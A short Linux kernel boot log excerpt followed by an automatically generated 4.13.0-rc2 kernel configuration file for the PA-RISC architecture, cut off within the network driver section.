[   28.273203] tg3 0000:20:02.0 eth0: RXcsums[1] LinkChgREG[0] MIirq[0] ASF[0] TSOcap[0]
[   28.273210] tg3 0000:20:02.0 eth0: dma_rwctrl[76ff2d0f] dma_mask[32-bit]
[   29.816146] EXT4-fs (sda3): re-mounted. Opts: (null)
[   30.748085] Adding 2745180k swap on /dev/sda4.  Priority:-1 extents:1 across:2745180k 
[   31.128056] EXT4-fs (sda2): mounting ext2 file system using the ext4 subsystem
[   31.132440] EXT4-fs (sda2): mounted filesystem without journal. Opts: (null)
[   33.289731] dmesg (782) used greatest stack depth: 7992 bytes left
[   44.572376] tg3 0000:20:02.0 eth0: Link is up at 100 Mbps, full duplex
[   44.572385] tg3 0000:20:02.0 eth0: Flow control is off for TX and off for RX
[   56.820980] NET: Registered protocol family 10
[   56.823020] Segment Routing with IPv6

#
# Automatically generated file; DO NOT EDIT.
# Linux/parisc 4.13.0-rc2 Kernel Configuration
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_TIME_LOW_RES=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_PGTABLE_LEVELS=3
CONFIG_SYS_SUPPORTS_HUGETLBFS=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_IRQ_WORK=y
CONFIG_BUILDTIME_EXTABLE_SORT=y

#
# General setup
#
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_CROSS_COMPILE="hppa64-linux-"
# CONFIG_COMPILE_TEST is not set
CONFIG_LOCALVERSION=""
CONFIG_LOCALVERSION_AUTO=y
CONFIG_DEFAULT_HOSTNAME="none"
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
CONFIG_CROSS_MEMORY_ATTACH=y
CONFIG_FHANDLE=y
# CONFIG_USELIB is not set
# CONFIG_AUDIT is not set
CONFIG_HAVE_ARCH_AUDITSYSCALL=y

#
# IRQ subsystem
#
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_GENERIC_MSI_IRQ=y
CONFIG_GENERIC_CLOCKEVENTS=y

#
# Timers subsystem
#
CONFIG_TICK_ONESHOT=y
CONFIG_NO_HZ_COMMON=y
# CONFIG_HZ_PERIODIC is not set
CONFIG_NO_HZ_IDLE=y
# CONFIG_NO_HZ is not set
CONFIG_HIGH_RES_TIMERS=y

#
# CPU/Task time and stats accounting
#
CONFIG_TICK_CPU_ACCOUNTING=y
# CONFIG_BSD_PROCESS_ACCT is not set
# CONFIG_TASKSTATS is not set

#
# RCU Subsystem
#
CONFIG_TREE_RCU=y
# CONFIG_RCU_EXPERT is not set
CONFIG_SRCU=y
CONFIG_TREE_SRCU=y
# CONFIG_TASKS_RCU is not set
CONFIG_RCU_STALL_COMMON=y
CONFIG_RCU_NEED_SEGCBLIST=y
# CONFIG_BUILD_BIN2C is not set
# CONFIG_IKCONFIG is not set
CONFIG_LOG_BUF_SHIFT=17
CONFIG_LOG_CPU_MAX_BUF_SHIFT=12
CONFIG_PRINTK_SAFE_LOG_BUF_SHIFT=13
CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y
CONFIG_GENERIC_SCHED_CLOCK=y
CONFIG_CGROUPS=y
# CONFIG_MEMCG is not set
# CONFIG_BLK_CGROUP is not set
# CONFIG_CGROUP_SCHED is not set
# CONFIG_CGROUP_PIDS is not set
# CONFIG_CGROUP_RDMA is not set
# CONFIG_CGROUP_FREEZER is not set
# CONFIG_CGROUP_HUGETLB is not set
# CONFIG_CPUSETS is not set
# CONFIG_CGROUP_DEVICE is not set
# CONFIG_CGROUP_CPUACCT is not set
# CONFIG_CGROUP_BPF is not set
# CONFIG_CGROUP_DEBUG is not set
# CONFIG_SOCK_CGROUP_DATA is not set
# CONFIG_CHECKPOINT_RESTORE is not set
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_NET_NS is not set
# CONFIG_SCHED_AUTOGROUP is not set
# CONFIG_SYSFS_DEPRECATED is not set
# CONFIG_RELAY is not set
# CONFIG_BLK_DEV_INITRD is not set
CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE=y
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
CONFIG_SYSCTL_EXCEPTION_TRACE=y
CONFIG_SYSCTL_ARCH_UNALIGN_ALLOW=y
CONFIG_BPF=y
# CONFIG_EXPERT is not set
CONFIG_MULTIUSER=y
CONFIG_SGETMASK_SYSCALL=y
CONFIG_SYSFS_SYSCALL=y
# CONFIG_SYSCTL_SYSCALL is not set
CONFIG_POSIX_TIMERS=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
# CONFIG_KALLSYMS_ABSOLUTE_PERCPU is not set
CONFIG_KALLSYMS_BASE_RELATIVE=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_BPF_SYSCALL=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_ADVISE_SYSCALLS=y
CONFIG_USERFAULTFD=y
CONFIG_PCI_QUIRKS=y
CONFIG_MEMBARRIER=y
# CONFIG_EMBEDDED is not set
CONFIG_HAVE_PERF_EVENTS=y
# CONFIG_PC104 is not set

#
# Kernel Performance Events And Counters
#
# CONFIG_PERF_EVENTS is not set
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_SLUB_DEBUG=y
# CONFIG_COMPAT_BRK is not set
# CONFIG_SLAB is not set
CONFIG_SLUB=y
CONFIG_SLAB_MERGE_DEFAULT=y
# CONFIG_SLAB_FREELIST_RANDOM is not set
CONFIG_SLUB_CPU_PARTIAL=y
# CONFIG_SYSTEM_DATA_VERIFICATION is not set
# CONFIG_PROFILING is not set
CONFIG_HAVE_OPROFILE=y
CONFIG_HAVE_64BIT_ALIGNED_ACCESS=y
CONFIG_HAVE_ARCH_TRACEHOOK=y
CONFIG_GENERIC_SMP_IDLE_THREAD=y
CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y
CONFIG_HAVE_ARCH_SECCOMP_FILTER=y
# CONFIG_CC_STACKPROTECTOR is not set
CONFIG_THIN_ARCHIVES=y
CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y
CONFIG_HAVE_MOD_ARCH_SPECIFIC=y
CONFIG_MODULES_USE_ELF_RELA=y
CONFIG_ARCH_HAS_ELF_RANDOMIZE=y
CONFIG_HAVE_ARCH_HASH=y
# CONFIG_ISA_BUS_API is not set
CONFIG_CLONE_BACKWARDS=y
CONFIG_ARCH_NO_COHERENT_DMA_MMAP=y
CONFIG_CPU_NO_EFFICIENT_FFS=y
# CONFIG_HAVE_ARCH_VMAP_STACK is not set
# CONFIG_ARCH_OPTIONAL_KERNEL_RWX is not set
# CONFIG_ARCH_OPTIONAL_KERNEL_RWX_DEFAULT is not set
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
# CONFIG_ARCH_HAS_STRICT_MODULE_RWX is not set
# CONFIG_REFCOUNT_FULL is not set

#
# GCOV-based kernel profiling
#
# CONFIG_ARCH_HAS_GCOV_PROFILE_ALL is not set
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
# CONFIG_MODULE_FORCE_UNLOAD is not set
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
# CONFIG_MODULE_SIG is not set
# CONFIG_MODULE_COMPRESS is not set
CONFIG_TRIM_UNUSED_KSYMS=y
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_BLOCK=y
CONFIG_BLK_SCSI_REQUEST=y
CONFIG_BLK_DEV_BSG=y
# CONFIG_BLK_DEV_BSGLIB is not set
# CONFIG_BLK_DEV_INTEGRITY is not set
# CONFIG_BLK_DEV_ZONED is not set
# CONFIG_BLK_CMDLINE_PARSER is not set
# CONFIG_BLK_WBT is not set
# CONFIG_BLK_SED_OPAL is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_EFI_PARTITION=y
CONFIG_BLOCK_COMPAT=y
CONFIG_BLK_MQ_PCI=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
# CONFIG_MQ_IOSCHED_DEADLINE is not set
# CONFIG_MQ_IOSCHED_KYBER is not set
# CONFIG_IOSCHED_BFQ is not set
CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
CONFIG_INLINE_READ_UNLOCK=y
CONFIG_INLINE_READ_UNLOCK_IRQ=y
CONFIG_INLINE_WRITE_UNLOCK=y
CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
# CONFIG_MLONGCALLS is not set
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
CONFIG_SMP=y
CONFIG_IRQSTACKS=y
CONFIG_HOTPLUG_CPU=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_NODES_SHIFT=3
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
CONFIG_PREEMPT_COUNT=y
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=y
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=250
CONFIG_SCHED_HRTICK=y
CONFIG_SELECT_MEMORY_MODEL=y
# CONFIG_FLATMEM_MANUAL is not set
CONFIG_DISCONTIGMEM_MANUAL=y
CONFIG_DISCONTIGMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_NEED_MULTIPLE_NODES=y
CONFIG_HAVE_MEMBLOCK=y
CONFIG_NO_BOOTMEM=y
# CONFIG_HAVE_BOOTMEM_INFO_NODE is not set
CONFIG_SPLIT_PTLOCK_CPUS=4
# CONFIG_COMPACTION is not set
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_VIRT_TO_BUS=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
# CONFIG_ARCH_WANTS_THP_SWAP is not set
# CONFIG_CLEANCACHE is not set
# CONFIG_FRONTSWAP is not set
# CONFIG_CMA is not set
# CONFIG_ZPOOL is not set
# CONFIG_ZBUD is not set
# CONFIG_ZSMALLOC is not set
CONFIG_MAX_STACK_SIZE_MB=80
# CONFIG_IDLE_PAGE_TRACKING is not set
# CONFIG_PERCPU_STATS is not set
CONFIG_COMPAT=y
CONFIG_SYSVIPC_COMPAT=y
CONFIG_AUDIT_ARCH=y
CONFIG_NR_CPUS=4

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
# CONFIG_GSC is not set
CONFIG_PCI=y
# CONFIG_PCIEPORTBUS is not set
CONFIG_PCI_BUS_ADDR_T_64BIT=y
CONFIG_PCI_MSI=y
# CONFIG_PCI_MSI_IRQ_DOMAIN is not set
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_REALLOC_ENABLE_AUTO is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_IOV is not set
# CONFIG_PCI_PRI is not set
# CONFIG_PCI_PASID is not set
# CONFIG_HOTPLUG_PCI is not set

#
# DesignWare PCI Core Support
#

#
# PCI host controller drivers
#

#
# PCI Endpoint
#
# CONFIG_PCI_ENDPOINT is not set

#
# PCI switch controller drivers
#
# CONFIG_PCI_SW_SWITCHTEC is not set
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS=y
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
CONFIG_ELFCORE=y
CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y
CONFIG_BINFMT_SCRIPT=y
# CONFIG_HAVE_AOUT is not set
CONFIG_BINFMT_MISC=y
CONFIG_COREDUMP=y
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
# CONFIG_PACKET_DIAG is not set
CONFIG_UNIX=y
# CONFIG_UNIX_DIAG is not set
# CONFIG_TLS is not set
CONFIG_XFRM=y
CONFIG_XFRM_ALGO=m
# CONFIG_XFRM_USER is not set
# CONFIG_XFRM_SUB_POLICY is not set
# CONFIG_XFRM_MIGRATE is not set
# CONFIG_XFRM_STATISTICS is not set
CONFIG_XFRM_IPCOMP=m
# CONFIG_NET_KEY is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
# CONFIG_IP_PNP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE_DEMUX is not set
CONFIG_NET_IP_TUNNEL=m
CONFIG_IP_MROUTE=y
CONFIG_IP_PIMSM_V1=y
CONFIG_IP_PIMSM_V2=y
CONFIG_SYN_COOKIES=y
# CONFIG_NET_UDP_TUNNEL is not set
# CONFIG_NET_FOU is not set
# CONFIG_NET_FOU_IP_TUNNELS is not set
# CONFIG_INET_AH is not set
# CONFIG_INET_ESP is not set
# CONFIG_INET_IPCOMP is not set
# CONFIG_INET_XFRM_TUNNEL is not set
CONFIG_INET_TUNNEL=m
# CONFIG_INET_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET_XFRM_MODE_TUNNEL is not set
# CONFIG_INET_XFRM_MODE_BEET is not set
# CONFIG_INET_DIAG is not set
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
CONFIG_IPV6=m
CONFIG_IPV6_ROUTER_PREF=y
CONFIG_IPV6_ROUTE_INFO=y
CONFIG_IPV6_OPTIMISTIC_DAD=y
CONFIG_INET6_AH=m
CONFIG_INET6_ESP=m
# CONFIG_INET6_ESP_OFFLOAD is not set
CONFIG_INET6_IPCOMP=m
CONFIG_IPV6_MIP6=m
CONFIG_INET6_XFRM_TUNNEL=m
CONFIG_INET6_TUNNEL=m
CONFIG_INET6_XFRM_MODE_TRANSPORT=m
CONFIG_INET6_XFRM_MODE_TUNNEL=m
CONFIG_INET6_XFRM_MODE_BEET=m
CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION=m
CONFIG_IPV6_VTI=m
CONFIG_IPV6_SIT=m
CONFIG_IPV6_SIT_6RD=y
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=m
# CONFIG_IPV6_FOU is not set
# CONFIG_IPV6_FOU_TUNNEL is not set
CONFIG_IPV6_MULTIPLE_TABLES=y
CONFIG_IPV6_SUBTREES=y
CONFIG_IPV6_MROUTE=y
CONFIG_IPV6_MROUTE_MULTIPLE_TABLES=y
CONFIG_IPV6_PIMSM_V2=y
# CONFIG_IPV6_SEG6_LWTUNNEL is not set
# CONFIG_IPV6_SEG6_HMAC is not set
# CONFIG_NETWORK_SECMARK is not set
CONFIG_NET_PTP_CLASSIFY=y
# CONFIG_NETWORK_PHY_TIMESTAMPING is not set
# CONFIG_NETFILTER is not set
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_RDS is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
# CONFIG_L2TP is not set
# CONFIG_BRIDGE is not set
CONFIG_HAVE_NET_DSA=y
# CONFIG_NET_DSA is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_DECNET is not set
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_PHONET is not set
# CONFIG_6LOWPAN is not set
# CONFIG_IEEE802154 is not set
# CONFIG_NET_SCHED is not set
# CONFIG_DCB is not set
# CONFIG_BATMAN_ADV is not set
# CONFIG_OPENVSWITCH is not set
# CONFIG_VSOCKETS is not set
CONFIG_NETLINK_DIAG=m
# CONFIG_MPLS is not set
# CONFIG_HSR is not set
# CONFIG_NET_SWITCHDEV is not set
# CONFIG_NET_L3_MASTER_DEV is not set
# CONFIG_NET_NCSI is not set
CONFIG_RPS=y
CONFIG_RFS_ACCEL=y
CONFIG_XPS=y
# CONFIG_CGROUP_NET_PRIO is not set
# CONFIG_CGROUP_NET_CLASSID is not set
CONFIG_NET_RX_BUSY_POLL=y
CONFIG_BQL=y
CONFIG_NET_FLOW_LIMIT=y

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
# CONFIG_AF_KCM is not set
# CONFIG_STREAM_PARSER is not set
CONFIG_FIB_RULES=y
# CONFIG_WIRELESS is not set
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set
# CONFIG_CAIF is not set
# CONFIG_CEPH_LIB is not set
# CONFIG_NFC is not set
# CONFIG_PSAMPLE is not set
# CONFIG_NET_IFE is not set
CONFIG_LWTUNNEL=y
# CONFIG_LWTUNNEL_BPF is not set
CONFIG_DST_CACHE=y
CONFIG_GRO_CELLS=y
# CONFIG_NET_DEVLINK is not set
CONFIG_MAY_USE_DEVLINK=y

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER=y
CONFIG_UEVENT_HELPER_PATH=""
CONFIG_DEVTMPFS=y
CONFIG_DEVTMPFS_MOUNT=y
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_FW_LOADER_USER_HELPER_FALLBACK is not set
CONFIG_ALLOW_DEV_COREDUMP=y
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_DEBUG_TEST_DRIVER_REMOVE is not set
# CONFIG_TEST_ASYNC_DRIVER_PROBE is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_GENERIC_CPU_DEVICES is not set
# CONFIG_DMA_SHARED_BUFFER is not set

#
# Bus devices
#
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
# CONFIG_OF is not set
CONFIG_ARCH_MIGHT_HAVE_PC_PARPORT=y
# CONFIG_PARPORT is not set
# CONFIG_BLK_DEV is not set
# CONFIG_BLK_DEV_NVME is not set
# CONFIG_NVME_FC is not set

#
# Misc devices
#
# CONFIG_SENSORS_LIS3LV02D is not set
# CONFIG_DUMMY_IRQ is not set
# CONFIG_PHANTOM is not set
# CONFIG_SGI_IOC4 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ENCLOSURE_SERVICES is not set
CONFIG_HP_ILO=m
# CONFIG_SRAM is not set
# CONFIG_PCI_ENDPOINT_TEST is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
CONFIG_EEPROM_93CX6=m
# CONFIG_CB710_CORE is not set

#
# Texas Instruments shared transport line discipline
#

#
# Altera FPGA firmware download module
#

#
# Intel MIC Bus Driver
#

#
# SCIF Bus Driver
#

#
# VOP Bus Driver
#

#
# Intel MIC Host Driver
#

#
# Intel MIC Card Driver
#

#
# SCIF Driver
#

#
# Intel MIC Coprocessor State Management (COSM) Drivers
#

#
# VOP Driver
#
# CONFIG_GENWQE is not set
# CONFIG_ECHO is not set
# CONFIG_CXL_BASE is not set
# CONFIG_CXL_AFU_DRIVER_OPS is not set
# CONFIG_CXL_LIB is not set
CONFIG_HAVE_IDE=y
# CONFIG_IDE is not set

#
# SCSI device support
#
CONFIG_SCSI_MOD=y
# CONFIG_RAID_ATTRS is not set
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
# CONFIG_SCSI_NETLINK is not set
# CONFIG_SCSI_PROC_FS is not set

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
# CONFIG_BLK_DEV_SR is not set
# CONFIG_CHR_DEV_SG is not set
# CONFIG_CHR_DEV_SCH is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set
# CONFIG_SCSI_SCAN_ASYNC is not set

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set
# CONFIG_SCSI_ISCSI_ATTRS is not set
# CONFIG_SCSI_SAS_ATTRS is not set
# CONFIG_SCSI_SAS_LIBSAS is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_ISCSI_BOOT_SYSFS is not set
# CONFIG_SCSI_CXGB3_ISCSI is not set
# CONFIG_SCSI_CXGB4_ISCSI is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_BE2ISCSI is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_HPSA is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_3W_SAS is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_MVUMI is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_SCSI_ESAS2R is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT3SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_SMARTPQI is not set
# CONFIG_SCSI_UFSHCD is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_SCSI_SNIC is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_IPR is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_WD719X is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_PMCRAID is not set
# CONFIG_SCSI_PM8001 is not set
# CONFIG_SCSI_DH is not set
# CONFIG_SCSI_OSD_INITIATOR is not set
CONFIG_ATA=m
# CONFIG_ATA_NONSTANDARD is not set
CONFIG_ATA_VERBOSE_ERROR=y
# CONFIG_SATA_PMP is not set

#
# Controllers with non-SFF native interface
#
# CONFIG_SATA_AHCI is not set
# CONFIG_SATA_AHCI_PLATFORM is not set
# CONFIG_SATA_INIC162X is not set
# CONFIG_SATA_ACARD_AHCI is not set
# CONFIG_SATA_SIL24 is not set
CONFIG_ATA_SFF=y

#
# SFF controllers with custom DMA interface
#
# CONFIG_PDC_ADMA is not set
# CONFIG_SATA_QSTOR is not set
# CONFIG_SATA_SX4 is not set
CONFIG_ATA_BMDMA=y

#
# SATA SFF controllers with BMDMA
#
# CONFIG_ATA_PIIX is not set
# CONFIG_SATA_MV is not set
# CONFIG_SATA_NV is not set
# CONFIG_SATA_PROMISE is not set
# CONFIG_SATA_SIL is not set
# CONFIG_SATA_SIS is not set
# CONFIG_SATA_SVW is not set
# CONFIG_SATA_ULI is not set
# CONFIG_SATA_VIA is not set
# CONFIG_SATA_VITESSE is not set

#
# PATA SFF controllers with BMDMA
#
# CONFIG_PATA_ALI is not set
# CONFIG_PATA_AMD is not set
# CONFIG_PATA_ARTOP is not set
# CONFIG_PATA_ATIIXP is not set
# CONFIG_PATA_ATP867X is not set
CONFIG_PATA_CMD64X=m
# CONFIG_PATA_CYPRESS is not set
# CONFIG_PATA_EFAR is not set
# CONFIG_PATA_HPT366 is not set
# CONFIG_PATA_HPT37X is not set
# CONFIG_PATA_HPT3X2N is not set
# CONFIG_PATA_HPT3X3 is not set
# CONFIG_PATA_IT8213 is not set
# CONFIG_PATA_IT821X is not set
# CONFIG_PATA_JMICRON is not set
# CONFIG_PATA_MARVELL is not set
# CONFIG_PATA_NETCELL is not set
# CONFIG_PATA_NINJA32 is not set
# CONFIG_PATA_NS87415 is not set
# CONFIG_PATA_OLDPIIX is not set
# CONFIG_PATA_OPTIDMA is not set
# CONFIG_PATA_PDC2027X is not set
# CONFIG_PATA_PDC_OLD is not set
# CONFIG_PATA_RADISYS is not set
# CONFIG_PATA_RDC is not set
# CONFIG_PATA_SCH is not set
# CONFIG_PATA_SERVERWORKS is not set
# CONFIG_PATA_SIL680 is not set
# CONFIG_PATA_SIS is not set
# CONFIG_PATA_TOSHIBA is not set
# CONFIG_PATA_TRIFLEX is not set
# CONFIG_PATA_VIA is not set
# CONFIG_PATA_WINBOND is not set

#
# PIO-only SFF controllers
#
# CONFIG_PATA_CMD640_PCI is not set
# CONFIG_PATA_MPIIX is not set
# CONFIG_PATA_NS87410 is not set
# CONFIG_PATA_OPTI is not set
# CONFIG_PATA_RZ1000 is not set

#
# Generic fallback / legacy drivers
#
# CONFIG_ATA_GENERIC is not set
# CONFIG_PATA_LEGACY is not set
# CONFIG_MD is not set
# CONFIG_TARGET_CORE is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#
# CONFIG_FIREWIRE is not set
# CONFIG_FIREWIRE_NOSY is not set
CONFIG_NETDEVICES=y
CONFIG_NET_CORE=y
# CONFIG_BONDING is not set
# CONFIG_DUMMY is not set
# CONFIG_EQUALIZER is not set
# CONFIG_NET_FC is not set
# CONFIG_NET_TEAM is not set
# CONFIG_MACVLAN is not set
# CONFIG_VXLAN is not set
# CONFIG_MACSEC is not set
# CONFIG_NETCONSOLE is not set
# CONFIG_NETPOLL is not set
# CONFIG_NET_POLL_CONTROLLER is not set
# CONFIG_TUN is not set
# CONFIG_TUN_VNET_CROSS_LE is not set
# CONFIG_VETH is not set
# CONFIG_NLMON is not set
# CONFIG_ARCNET is not set

#
# CAIF transport drivers
#

#
# Distributed Switch Architecture drivers
#
CONFIG_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_ADAPTEC is not set
# CONFIG_NET_VENDOR_AGERE is not set
# CONFIG_NET_VENDOR_ALACRITECH is not set
# CONFIG_NET_VENDOR_ALTEON is not set
# CONFIG_ALTERA_TSE is not set
# CONFIG_NET_VENDOR_AMAZON is not set
# CONFIG_NET_VENDOR_AMD is not set
# CONFIG_NET_VENDOR_AQUANTIA is not set
# CONFIG_NET_VENDOR_ARC is not set
# CONFIG_NET_VENDOR_ATHEROS is not set
# CONFIG_NET_VENDOR_AURORA is not set
# CONFIG_NET_CADENCE is not set
CONFIG_NET_VENDOR_BROADCOM=y
# CONFIG_B44 is not set
# CONFIG_BCMGENET is not set
# CONFIG_BNX2 is not set
# CONFIG_CNIC is not set
CONFIG_TIGON3=m
CONFIG_TIGON3_HWMON=y
# CONFIG_BNX2X is not set
# CONFIG_BNXT is not set
# CONFIG_NET_VENDOR_BROCADE is not set
# CONFIG_NET_VENDOR_CAVIUM is not set
# CONFIG_NET_VENDOR_CHELSIO is not set
